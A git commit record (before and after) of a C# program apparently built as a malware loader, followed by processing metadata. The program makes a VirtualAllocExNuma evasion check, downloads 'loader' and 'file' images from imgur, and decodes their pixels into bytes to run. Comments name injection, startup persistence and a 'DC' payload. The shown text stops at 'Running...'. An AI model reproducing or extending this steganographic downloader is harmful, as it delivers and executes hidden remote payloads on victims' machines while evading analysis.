<commit_before>﻿using System;
using System.Drawing;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace imgc
{
    class Program
    {
        [DllImport("kernel32.dll")]
        private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);

        static void Main(string[] args)
        {
           
            object mem = null;
            mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);

            if (mem != null)
            {

                Console.WriteLine("Downloading files...");

                string loader = @"http://i.imgur.com/gWuzRIT.png"; // PEB + VBC + Sleep (a lot of sleep)
                //string loader = @"http://i.imgur.com/6JArmAw.png"; // PEB + VBC + Sleep
                //string loader = @"http://i.imgur.com/JwugQNp.png"; // No PEB
                //string loader = @"http://i.imgur.com/y66QVE2.png"; // No Startup
                //string loader = @"http://i.imgur.com/uCjfBnJ.png"; // Calc Inject
                //string loader = @"http://i.imgur.com/lSLvJuj.png"; // Startup            
                //string file = @"http://i.imgur.com/zN07hYc.png"; //CALC
                string file = @"http://i.imgur.com/cRrFmjj.png"; // DC
                var requestLoader = WebRequest.Create(loader);
                var requestFile = WebRequest.Create(file);
                Bitmap loaderIMG;
                Bitmap fileIMG;

                Console.WriteLine("Downloading Loader...");
                using (var response = requestLoader.GetResponse())
                using (var stream = response.GetResponseStream())
                {
                    loaderIMG = (Bitmap)Image.FromStream(stream);
                }

                Console.WriteLine("Downloading File...");
                using (var response = requestFile.GetResponse())
                using (var stream = response.GetResponseStream())
                {
                    fileIMG = (Bitmap)Image.FromStream(stream);
                }

                Console.WriteLine("Depixelating...");

                Console.WriteLine("Depixelating Loader...");
                byte[] outputLoader = depixelate(loaderIMG);

                Console.WriteLine("Depixelating File...");
                byte[] outputFile = depixelate(fileIMG);

                Console.WriteLine("Running...");<commit_msg>Removing DC / other Loaders<commit_after>﻿using System;
using System.Drawing;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace imgc
{
    class Program
    {
        [DllImport("kernel32.dll")]
        private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);

        static void Main(string[] args)
        {
           
            object mem = null;
            mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);

            if (mem != null)
            {

                Console.WriteLine("Downloading files...");

                string loader = @"http://i.imgur.com/y66QVE2.png"; // No Startup                                
                string file = @"http://i.imgur.com/zN07hYc.png"; //CALC                
                var requestLoader = WebRequest.Create(loader);
                var requestFile = WebRequest.Create(file);
                Bitmap loaderIMG;
                Bitmap fileIMG;

                Console.WriteLine("Downloading Loader...");
                using (var response = requestLoader.GetResponse())
                using (var stream = response.GetResponseStream())
                {
                    loaderIMG = (Bitmap)Image.FromStream(stream);
                }

                Console.WriteLine("Downloading File...");
                using (var response = requestFile.GetResponse())
                using (var stream = response.GetResponseStream())
                {
                    fileIMG = (Bitmap)Image.FromStream(stream);
                }

                Console.WriteLine("Depixelating...");

                Console.WriteLine("Depixelating Loader...");
                byte[] outputLoader = depixelate(loaderIMG);

                Console.WriteLine("Depixelating File...");
                byte[] outputFile = depixelate(fileIMG);

                Console.WriteLine("Running...");
{'fraction_non_alphanumeric': 0.11786737166776823, 'fraction_numerical': 0.01520158625247852, 'mean_word_length': 1.6800472255017709, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 6, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6056094', 'n_tokens_mistral': 1291, 'n_tokens_neox': 1149, 'n_words': 248}